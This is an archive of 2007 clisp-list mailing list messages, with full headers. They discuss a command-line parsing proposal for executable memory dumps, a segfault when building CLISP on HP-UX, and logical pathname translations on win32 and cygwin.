(nhugin.diku.dk [130.225.96.140]) by mgw1.diku.dk (Postfix) with ESMTP id 259DB96804A for ; Fri, 18 May 2007 11:27:29 +0200 (CEST) Received: from tyr.diku.dk (tyr.diku.dk [130.225.96.226]) by nhugin.diku.dk (Postfix) with ESMTP id 3C8E36DFB7A for ; Fri, 18 May 2007 11:25:46 +0200 (CEST) Received: by tyr.diku.dk (Postfix, from userid 1018) id 00D5661AF9; Fri, 18 May 2007 11:27:28 +0200 (CEST) Received: from localhost (localhost [127.0.0.1]) by tyr.diku.dk (Postfix) with ESMTP id EA62C232E7 for ; Fri, 18 May 2007 11:27:28 +0200 (CEST) Date: Fri, 18 May 2007 11:27:28 +0200 (CEST) From: Klaus Ebbe Grue To: clisp-list@lists.sourceforge.net Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Arguments to executable memory dumps X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 18 May 2007 09:27:36 -0000 Hi clisp-list@lists.sourceforge.net, Sorry for bugging you (again). Some time ago (February 21, 2006) I suggested to add a :parse-options keyword to saveinitmem such that :executable t :parse-options nil had the effect of adding an understood -- in front of the arguments to the executable memory dump. I also came up with a patch which burried a Boolean inside the executable. That Boolean was checked as the very very first thing in the craddle-to-grave sequence and decided whether the argument list should have an understood -- in front. The patch had the side effect that one could lock out the user from access to clisp features, giving access only to the features of the dumped program. As an example, one would be unable to see that the program was actually a clisp memory dump. And if one knew that the program was a clisp one, one would be unable to see e.g. which version of clisp was used. As far as I understand, this side effect was undesired and the patch was never accepted. I just stumbled over yet another situation where an understood -- would be nice to have: Suppose an executable memory dump M drops the user to a clisp prompt. Suppose one invokes M by a command like 'M arg1 arg2 arg3' where arg1 does not start with a hyphen. Suppose one accidentally invokes the debugger from the clisp prompt. Then M quits. If one instead invokes M by 'M -- arg1 arg2 arg3' then in the situation above, then instead of quiting, M invokes the debugger as desired. So I make another try: I suggest adding a new argument named ++ which, when given first in the argument list, forces traditional command line parsing. So that e.g. clisp -version has the same effect as clisp ++ -version In other words, I suggest having a new argument named ++ which has the opposite effect of --. Then I suggest adding a :parse-options keyword such that the (saveinitmem ... :parse-options nil) lets the dumped executable have an understood -- and such that the (saveinitmem ... :parse-options t) lets the dumped executable have an understood ++. The default for :parse-options should be t for backward compatibility. Then for a saved memory dump M we would have 'M -- arg1 arg2 arg3' does no parsing of arguments 'M ++ arg1 arg2 arg3' does parsing of arguments 'M arg1 arg2 arg3' does what :parse-options said. I case this is acceptable, I would be happy to develop a patch which implements the change. Cheers, Klaus From frgo@mac.com Sat May 19 13:55:34 2007 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1HpVxZ-0005OA-04 for clisp-list@lists.sourceforge.net; Sat, 19 May 2007 13:55:33 -0700 Received: from smtpout.mac.com ([17.250.248.185]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1HpVxX-0006Ix-QS for clisp-list@lists.sourceforge.net; Sat, 19 May 2007 13:55:29 -0700 Received: from mac.com (smtpin06-en2 [10.13.10.151]) by smtpout.mac.com (Xserve/smtpout15/MantshX 4.0) with ESMTP id l4JKtQRm017430 for ; Sat, 19 May 2007 13:55:26 -0700 (PDT) Received: from [127.0.0.1] (p549dd6be.dip.t-dialin.net [84.157.214.190]) (authenticated bits=0) by mac.com (Xserve/smtpin06/MantshX 4.0) with ESMTP id l4JKtN6l012622; Sat, 19 May 2007 13:55:24 -0700 (PDT) Mime-Version: 1.0 (Apple Message framework v752.3) Content-Type: text/plain; charset=US-ASCII; delsp=yes; format=flowed Message-Id: Content-Transfer-Encoding: 7bit From: Frank Goenninger Date: Sat, 19 May 2007 22:55:28 +0200 To: clisp-list@lists.sourceforge.net X-Mailer: Apple Mail (2.752.3) X-Brightmail-Tracker: AAAAAA== X-Brightmail-scanned: yes X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Successful compile of Clisp - but the memory fault/coredump ... X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 19 May 2007 20:55:34 -0000 Dear Clispers, being completely new to Clisp (but not to Lisp) I am trying to get Clisp running on HP-UX 11i (HP-UX 11.11) on PA-RISC1.1-based machine. I get a compile done, but when the Makefile calls ./lisp,run ... for the first run I get a memory fault with resulting coredump. Any attempt to get more info from Clisp failed - I assume the coredump is happening quite early after startup... Any idea how I can debug this? Thx for any pointers. Any help really appreciated. Regards Frank -- Frank Goenninger frgo@mac.com From vadrer@gmail.com Sat May 19 23:41:34 2007 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1Hpf6k-00008P-G9 for clisp-list@lists.sourceforge.net; Sat, 19 May 2007 23:41:34 -0700 Received: from ug-out-1314.google.com ([66.249.92.169]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1Hpf6k-0003LC-4t for clisp-list@lists.sourceforge.net; Sat, 19 May 2007 23:41:34 -0700 Received: by ug-out-1314.google.com with SMTP id z38so719461ugc for ; Sat, 19 May 2007 23:41:32 -0700 (PDT) Received: by 10.67.96.14 with SMTP id y14mr2424535ugl.1179643292847; Sat, 19 May 2007 23:41:32 -0700 (PDT) Received: from ?192.168.1.6? ( [91.122.35.200]) by mx.google.com with ESMTP id z34sm5531451ikz.2007.05.19.23.41.30; Sat, 19 May 2007 23:41:31 -0700 (PDT) Message-ID: <464FEB25.9050808@gmail.com> Date: Sun, 20 May 2007 10:31:01 +0400 From: Vadim Konovalov User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.8.1.2) Gecko/20070222 SeaMonkey/1.1.1 MIME-Version: 1.0 To: Frank Goenninger References: In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Successful compile of Clisp - but the memory fault/coredump ... X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 20 May 2007 06:41:34 -0000 Frank Goenninger wrote: > Dear Clispers, > > being completely new to Clisp (but not to Lisp) I am trying to get > Clisp running on HP-UX 11i (HP-UX 11.11) on PA-RISC1.1-based machine. > I get a compile done, but when the Makefile calls > > ./lisp,run ... > > for the first run I get a memory fault with resulting coredump. > your problem resembles mine when I compiled using MSVC++ in Windors. The fix came into the CVS, but the #ifdef-ed compilers aren't fixed, namely HP-UX one. Look for the following code in lispbibl.d (this is after fixing) # Unspecified length of arrays in structures: # struct { ...; ...; type x[unspecified]; } # Instead of sizeof(..) you'll always have to use offsetof(..,x). #if defined(GNU) || defined(MICROSOFT) /* GNU & MS C are able to work with arrays of length 0 */ #define unspecified 0 #elif 0 # Usually one would omit the array's limit #define unspecified #else # However, HP-UX- and IRIX-compilers will only work with this: #define unspecified 1 #endif Even with comment about HP-UX compilers, it do not justify wrong aligment logic. try modifying this file according to your situation and see how it goes. > Any attempt to get more info from Clisp failed - I assume the > coredump is happening quite early after startup... > > Any idea how I can debug this? > > Thx for any pointers. Any help really appreciated. > > Regards > Frank > Best regards, Vadim. From frgo@mac.com Sun May 20 05:41:38 2007 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1HpkjB-0007pP-SI for clisp-list@lists.sourceforge.net; Sun, 20 May 2007 05:41:38 -0700 Received: from smtpout.mac.com ([17.250.248.186]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1HpkjA-0005rm-AB for clisp-list@lists.sourceforge.net; Sun, 20 May 2007 05:41:36 -0700 Received: from mac.com (smtpin02-en2 [10.13.10.147]) by smtpout.mac.com (Xserve/smtpout16/MantshX 4.0) with ESMTP id l4KCfZAY000415 for ; Sun, 20 May 2007 05:41:35 -0700 (PDT) Received: from [127.0.0.1] (p549dd246.dip.t-dialin.net [84.157.210.70]) (authenticated bits=0) by mac.com (Xserve/smtpin02/MantshX 4.0) with ESMTP id l4KCfWK7028595; Sun, 20 May 2007 05:41:33 -0700 (PDT) In-Reply-To: <464FEB25.9050808@gmail.com> References: <464FEB25.9050808@gmail.com> Mime-Version: 1.0 (Apple Message framework v752.3) Content-Type: text/plain; charset=US-ASCII; delsp=yes; format=flowed Message-Id: Content-Transfer-Encoding: 7bit From: Frank Goenninger Date: Sun, 20 May 2007 14:41:39 +0200 To: clisp-list@lists.sourceforge.net X-Mailer: Apple Mail (2.752.3) X-Brightmail-Tracker: AAAAAA== X-Brightmail-scanned: yes X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: Re: [clisp-list] Successful compile of Clisp - but the memory fault/coredump ... X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 20 May 2007 12:41:38 -0000 Am 20.05.2007 um 08:31 schrieb Vadim Konovalov: > Frank Goenninger wrote: >> Dear Clispers, >> >> being completely new to Clisp (but not to Lisp) I am trying to >> get Clisp running on HP-UX 11i (HP-UX 11.11) on PA-RISC1.1-based >> machine. I get a compile done, but when the Makefile calls >> >> ./lisp,run ... >> >> for the first run I get a memory fault with resulting coredump. >> > > your problem resembles mine when I compiled using MSVC++ in Windors. > The fix came into the CVS, but the #ifdef-ed compilers aren't > fixed, namely HP-UX one. > > Look for the following code in lispbibl.d (this is after fixing) > > # Unspecified length of arrays in structures: > # struct { ...; ...; type x[unspecified]; } > # Instead of sizeof(..) you'll always have to use offsetof(..,x). > #if defined(GNU) || defined(MICROSOFT) /* GNU & MS C are able to > work with arrays of length 0 */ > #define unspecified 0 > #elif 0 > # Usually one would omit the array's limit > #define unspecified > #else > # However, HP-UX- and IRIX-compilers will only work with this: > #define unspecified 1 > #endif > > > Even with comment about HP-UX compilers, it do not justify wrong > aligment logic. > try modifying this file according to your situation and see how it > goes. I forced a specific value for "unspecified" with #define unspecified 1 after the code block you mentioned above. I am still in "monkey mode" - just not really having a glue on what's going on here. I only see that the Makefile tries to execute ./lisp.run -B . -E 1:1 -Efile UTF-8 -Eterminal UTF-8 -norc -m 1800KW - x "(and (load \"init.lisp\") (sys::%saveinitmem) (ext::exit)) (ext::exit t)" ... hmm ... What does that tell me ? Thx for any further help! Frank From vadrer@gmail.com Sun May 20 05:54:14 2007 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1HpkvN-0001IC-OE for clisp-list@lists.sourceforge.net; Sun, 20 May 2007 05:54:13 -0700 Received: from ug-out-1314.google.com ([66.249.92.172]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1HpkvN-0000Nj-7Z for clisp-list@lists.sourceforge.net; Sun, 20 May 2007 05:54:13 -0700 Received: by ug-out-1314.google.com with SMTP id z38so754403ugc for ; Sun, 20 May 2007 05:54:12 -0700 (PDT) Received: by 10.82.177.3 with SMTP id z3mr6544849bue.1179665652007; Sun, 20 May 2007 05:54:12 -0700 (PDT) Received: from ?192.168.1.6? ( [91.122.93.78]) by mx.google.com with ESMTP id b36sm6399873ika.2007.05.20.05.54.09; Sun, 20 May 2007 05:54:09 -0700 (PDT) Message-ID: <4650427C.5070004@gmail.com> Date: Sun, 20 May 2007 16:43:40 +0400 From: Vadim Konovalov User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.8.1.2) Gecko/20070222 SeaMonkey/1.1.1 MIME-Version: 1.0 To: Frank Goenninger References: <464FEB25.9050808@gmail.com> In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Successful compile of Clisp - but the memory fault/coredump ... X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 20 May 2007 12:54:14 -0000 Frank Goenninger wrote: > Am 20.05.2007 um 08:31 schrieb Vadim Konovalov: > > >> Frank Goenninger wrote: >> >>> Dear Clispers, >>> >>> being completely new to Clisp (but not to Lisp) I am trying to >>> get Clisp running on HP-UX 11i (HP-UX 11.11) on PA-RISC1.1-based >>> machine. I get a compile done, but when the Makefile calls >>> >>> ./lisp,run ... >>> >>> for the first run I get a memory fault with resulting coredump. >>> >>> >> your problem resembles mine when I compiled using MSVC++ in Windors. >> The fix came into the CVS, but the #ifdef-ed compilers aren't >> fixed, namely HP-UX one. >> >> Look for the following code in lispbibl.d (this is after fixing) >> >> # Unspecified length of arrays in structures: >> # struct { ...; ...; type x[unspecified]; } >> # Instead of sizeof(..) you'll always have to use offsetof(..,x). >> #if defined(GNU) || defined(MICROSOFT) /* GNU & MS C are able to >> work with arrays of length 0 */ >> #define unspecified 0 >> #elif 0 >> # Usually one would omit the array's limit >> #define unspecified >> #else >> # However, HP-UX- and IRIX-compilers will only work with this: >> #define unspecified 1 >> #endif >> >> >> Even with comment about HP-UX compilers, it do not justify wrong >> aligment logic. >> try modifying this file according to your situation and see how it >> goes. >> > > I forced a specific value for "unspecified" with > > #define unspecified 1 > this way you didn't change the situation; at least try #define unspecified 0 > after the code block you mentioned above. I am still in "monkey mode" > - just not really having a glue on what's going on here. I only see > that the Makefile tries to execute > > ./lisp.run -B . -E 1:1 -Efile UTF-8 -Eterminal UTF-8 -norc -m 1800KW - > x "(and (load \"init.lisp\") (sys::%saveinitmem) (ext::exit)) > (ext::exit t)" > > ... hmm ... What does that tell me ? > can you get a stacktrace out of your coredump? Vadim. From frgo@mac.com Sun May 20 23:51:30 2007 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1Hq1ju-0000XM-5c for clisp-list@lists.sourceforge.net; Sun, 20 May 2007 23:51:30 -0700 Received: from smtpout.mac.com ([17.250.248.185]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1Hq1jt-0005lV-Uy for clisp-list@lists.sourceforge.net; Sun, 20 May 2007 23:51:30 -0700 Received: from mac.com (smtpin02-en2 [10.13.10.147]) by smtpout.mac.com (Xserve/smtpout15/MantshX 4.0) with ESMTP id l4L6pGPE025962; Sun, 20 May 2007 23:51:16 -0700 (PDT) Received: from [127.0.0.1] (p549deefa.dip.t-dialin.net [84.157.238.250]) (authenticated bits=0) by mac.com (Xserve/smtpin02/MantshX 4.0) with ESMTP id l4L6pDMZ002840; Sun, 20 May 2007 23:51:14 -0700 (PDT) In-Reply-To: <4650427C.5070004@gmail.com> References: <464FEB25.9050808@gmail.com> <4650427C.5070004@gmail.com> Mime-Version: 1.0 (Apple Message framework v752.3) Content-Type: text/plain; charset=US-ASCII; delsp=yes; format=flowed Message-Id: <5F0BF749-47C8-491D-8D93-B57686474B1E@mac.com> Content-Transfer-Encoding: 7bit From: Frank Goenninger Date: Mon, 21 May 2007 08:51:23 +0200 To: Vadim Konovalov X-Mailer: Apple Mail (2.752.3) X-Brightmail-Tracker: AAAAAA== X-Brightmail-scanned: yes X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Successful compile of Clisp - but the memory fault/coredump ... X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 21 May 2007 06:51:30 -0000 Hi Vadim - Am 20.05.2007 um 14:43 schrieb Vadim Konovalov: >>> Look for the following code in lispbibl.d (this is after fixing) >>> >>> # Unspecified length of arrays in structures: >>> # struct { ...; ...; type x[unspecified]; } >>> # Instead of sizeof(..) you'll always have to use offsetof(..,x). >>> #if defined(GNU) || defined(MICROSOFT) /* GNU & MS C are able to >>> work with arrays of length 0 */ >>> #define unspecified 0 >>> #elif 0 >>> # Usually one would omit the array's limit >>> #define unspecified >>> #else >>> # However, HP-UX- and IRIX-compilers will only work with this: >>> #define unspecified 1 >>> #endif >>> >>> >>> Even with comment about HP-UX compilers, it do not justify wrong >>> aligment logic. >>> try modifying this file according to your situation and see how >>> it goes. >>> >> >> I forced a specific value for "unspecified" with >> >> #define unspecified 1 >> > > this way you didn't change the situation; > > at least try > > #define unspecified 0 Hm? I am using GCC so I thought the above code defines unspecified as 0 ... Anyway - I tried with #define unspecified 0 - same result. Stacktrace / Call stack: #0 0x36974 in gar_col_normal () at /opt/clisp/clisp-2.41/src/ spvw_garcol.d:148 <-- HERE: SIGSEGV ... #1 0x38250 in do_gar_col_simple () at /opt/clisp/clisp-2.41/src/ spvw_garcol.d:2376 #2 0xddde8 in with_gc_statistics (fun=0x4002d6ba ) at /opt/clisp/clisp-2.41/src/predtype.d:3137 #3 0x2d8e0 in make_space_gc (need=0, heap_ptr=0x40030598, stack_ptr=0x7f7f09e8) at /opt/clisp/clisp-2.41/src/spvw_garcol.d:2405 #4 0x2eeb0 in allocate_vector (len=2139030890) at /opt/clisp/ clisp-2.41/src/spvw_typealloc.d:89 #5 0x2f048 in initmem () at /opt/clisp/clisp-2.41/src/subrkw.d:7 #6 0x35510 in main (argc=1, argv=0x7f7f0724) at /opt/clisp/ clisp-2.41/src/spvw.d:2922 Code at level 0 (file spvw_garcold.d:148): for_all_threadobjs( gc_mark(*objptr); ); /* threads */ /* The callers in back_trace are mostly already marked: they refer to subrs and closures that are currently being called and therefore cannot possibly be garbage-collected. But a few remain unmarked, so make sure all are really marked: */ for_all_back_traces({ for (; bt != NULL; bt = bt->bt_next) gc_mark(bt->bt_function); }); Hmm - gcc and the debugger must be confused due to the preprocessing step from D to C ... Any ideas? Thx!!!! Frank From vadrer@gmail.com Mon May 21 01:00:07 2007 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1Hq2oJ-00079R-Cl for clisp-list@lists.sourceforge.net; Mon, 21 May 2007 01:00:07 -0700 Received: from ug-out-1314.google.com ([66.249.92.171]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1Hq2oJ-00071H-1b for clisp-list@lists.sourceforge.net; Mon, 21 May 2007 01:00:07 -0700 Received: by ug-out-1314.google.com with SMTP id z38so921299ugc for ; Mon, 21 May 2007 01:00:05 -0700 (PDT) Received: by 10.82.184.2 with SMTP id h2mr8024847buf.1179734405161; Mon, 21 May 2007 01:00:05 -0700 (PDT) Received: from ?192.168.1.6? ( [89.110.15.128]) by mx.google.com with ESMTP id b30sm9426811ika.2007.05.21.00.59.50; Mon, 21 May 2007 00:59:59 -0700 (PDT) Message-ID: <46514EF7.60905@gmail.com> Date: Mon, 21 May 2007 11:49:11 +0400 From: Vadim Konovalov User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.8.1.2) Gecko/20070222 SeaMonkey/1.1.1 MIME-Version: 1.0 To: Frank Goenninger References: <464FEB25.9050808@gmail.com> <4650427C.5070004@gmail.com> <5F0BF749-47C8-491D-8D93-B57686474B1E@mac.com> In-Reply-To: <5F0BF749-47C8-491D-8D93-B57686474B1E@mac.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Successful compile of Clisp - but the memory fault/coredump ... X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 21 May 2007 08:00:07 -0000 Frank Goenninger wrote: ... > > Hm? I am using GCC so I thought the above code defines unspecified as > 0 ... you didn't mentioned GCC earlier, so I thought you've faced HP-UX #ifdef Indeed, GCC should be with mentioned #ifdef set, so this invalidates my assumption. I don't have HP-UX access, so I hardly be useful. Just for the record, your sympthoms were similar to mine, but now its obvious that exact point of error is different. Best regards, Vadim. > - same result. > > Stacktrace / Call stack: > > #0 0x36974 in gar_col_normal () at > /opt/clisp/clisp-2.41/src/spvw_garcol.d:148 <-- HERE: SIGSEGV ... > #1 0x38250 in do_gar_col_simple () at > /opt/clisp/clisp-2.41/src/spvw_garcol.d:2376 > #2 0xddde8 in with_gc_statistics (fun=0x4002d6ba ) > at /opt/clisp/clisp-2.41/src/predtype.d:3137 > #3 0x2d8e0 in make_space_gc (need=0, heap_ptr=0x40030598, > stack_ptr=0x7f7f09e8) at /opt/clisp/clisp-2.41/src/spvw_garcol.d:2405 > #4 0x2eeb0 in allocate_vector (len=2139030890) at > /opt/clisp/clisp-2.41/src/spvw_typealloc.d:89 > #5 0x2f048 in initmem () at /opt/clisp/clisp-2.41/src/subrkw.d:7 > #6 0x35510 in main (argc=1, argv=0x7f7f0724) at > /opt/clisp/clisp-2.41/src/spvw.d:2922 > > Code at level 0 (file spvw_garcold.d:148): > > for_all_threadobjs( gc_mark(*objptr); ); /* threads */ > /* The callers in back_trace are mostly already marked: > they refer to subrs and closures that are currently being > called and therefore cannot possibly be garbage-collected. > But a few remain unmarked, so make sure all are really marked: */ > for_all_back_traces({ > for (; bt != NULL; bt = bt->bt_next) > gc_mark(bt->bt_function); > }); > > Hmm - gcc and the debugger must be confused due to the preprocessing > step from D to C ... > > Any ideas? > > Thx!!!! > > Frank > > > > > From vadrer@gmail.com Fri May 25 13:18:47 2007 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1HrgFL-0003aP-KA for clisp-list@lists.sourceforge.net; Fri, 25 May 2007 13:18:47 -0700 Received: from ug-out-1314.google.com ([66.249.92.175]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1HrgFK-0000h1-RZ for clisp-list@lists.sourceforge.net; Fri, 25 May 2007 13:18:47 -0700 Received: by ug-out-1314.google.com with SMTP id 78so799328ugn for ; Fri, 25 May 2007 13:18:43 -0700 (PDT) Received: by 10.67.115.19 with SMTP id s19mr3153920ugm.1180124323386; Fri, 25 May 2007 13:18:43 -0700 (PDT) Received: from ?192.168.1.6? ( [89.110.15.151]) by mx.google.com with ESMTP id c25sm5099005ika.2007.05.25.13.18.41; Fri, 25 May 2007 13:18:41 -0700 (PDT) Message-ID: <46574226.8040401@gmail.com> Date: Sat, 26 May 2007 00:08:06 +0400 From: Vadim Konovalov User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.8.1.2) Gecko/20070222 SeaMonkey/1.1.1 MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name Subject: [clisp-list] why d:/pathname differ on wind32 and cygwin? X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 25 May 2007 20:18:47 -0000 Hello, all! This is clisp/wind32: [1]> (open "d:/qwe") *** - OPEN: file #P"D:\\qwe" does not exist The following restarts are available: ABORT :R1 ABORT Break 1 [2]> This is clisp/cygwin: [1]> (open "d:/qwe") *** - nonexistent directory: #P"/" The following restarts are available: ABORT :R1 ABORT Is the different behaviour intentional? Is it configurable? Thanks in advance for any help. Best regards, Vadim. From pjb@informatimago.com Sat May 26 00:00:56 2007 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1HrqGm-00045H-KM for clisp-list@lists.sourceforge.net; Sat, 26 May 2007 00:00:56 -0700 Received: from voyager.informatimago.com ([88.198.62.69]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1HrqGi-0000pN-Fb for clisp-list@lists.sourceforge.net; Sat, 26 May 2007 00:00:56 -0700 Received: from thalassa.lan.informatimago.com (252.Red-88-0-101.dynamicIP.rima-tde.net [88.0.101.252]) by voyager.informatimago.com (Postfix) with ESMTP id C304E43C2BE; Sat, 26 May 2007 09:00:53 +0200 (CEST) Received: by thalassa.lan.informatimago.com (Postfix, from userid 1000) id 474C11782E9; Sat, 26 May 2007 07:00:27 +0000 (Local time zone must be set--see zic manual page) To: Vadim Konovalov Face: iVBORw0KGgoAAAANSUhEUgAAADAAAAAwAQMAAABtzGvEAAAABlBMVEUAAAD///+l2Z/dAAAA oElEQVR4nK3OsRHCMAwF0O8YQufUNIQRGIAja9CxSA55AxZgFO4coMgYrEDDQZWPIlNAjwq9 033pbOBPtbXuB6PKNBn5gZkhGa86Z4x2wE67O+06WxGD/HCOGR0deY3f9Ijwwt7rNGNf6Oac l/GuZTF1wFGKiYYHKSFAkjIo1b6sCYS1sVmFhhhahKQssRjRT90ITWUk6vvK3RsPGs+M1RuR mV+hO/VvFAAAAABJRU5ErkJggg== X-Accept-Language: fr, es, en X-Disabled: X-No-Archive: no References: <46574226.8040401@gmail.com> From: Pascal Bourguignon Date: Sat, 26 May 2007 09:00:26 +0200 In-Reply-To: <46574226.8040401@gmail.com> (Vadim Konovalov's message of "Sat, 26 May 2007 00:08:06 +0400") Message-ID: <87abvshxx1.fsf@thalassa.lan.informatimago.com> User-Agent: Gnus/5.1008 (Gnus v5.10.8) Emacs/22.0.99 (gnu/linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 1.0 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] why d:/pathname differ on wind32 and cygwin? X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 26 May 2007 07:00:56 -0000 Vadim Konovalov writes: > Hello, all! > > This is clisp/wind32: > > [1]> (open "d:/qwe") > > *** - OPEN: file #P"D:\\qwe" does not exist > The following restarts are available: > ABORT :R1 ABORT > Break 1 [2]> > > > This is clisp/cygwin: > > > [1]> (open "d:/qwe") > *** - nonexistent directory: #P"/" > The following restarts are available: > ABORT :R1 ABORT > > Is the different behaviour intentional? Yes. > Is it configurable? Yes. On clisp/win32 use: (setf (logical-pathname-translations "MYFILES") nil) (setf (logical-pathname-translations "MYFILES") (list (list #P"MYFILES:**;*.*" #P"D:\\**\\*.*") (list #P"MYFILES:**;*" #P"D:\\**\\*"))) On clisp/cygwin use: (setf (logical-pathname-translations "MYFILES") nil) (setf (logical-pathname-translations "MYFILES") (list (list #P"MYFILES:**;*.*" #P"/cygdrive/d/**/*.*") (list #P"MYFILES:**;*" #P"/cygdrive/d/**/*"))) Then on both you can write: (open #P"MYFILES:QWE") Alternatively, you can write the translations in a file, and use: (LOAD-LOGICAL-PATHNAME-TRANSLATIONS "MYFILES") (open #P"MYFILES:QWE") The big advantage of logical pathnames, is that if you want to run your program on unix, you can then just change the logical pathname translation, and have it run without any problem on unix: (setf (logical-pathname-translations "MYFILES") nil) (setf (logical-pathname-translations "MYFILES") (list (list #P"MYFILES:**;*.*" #P"/opt/myapp/**/*.*") (list 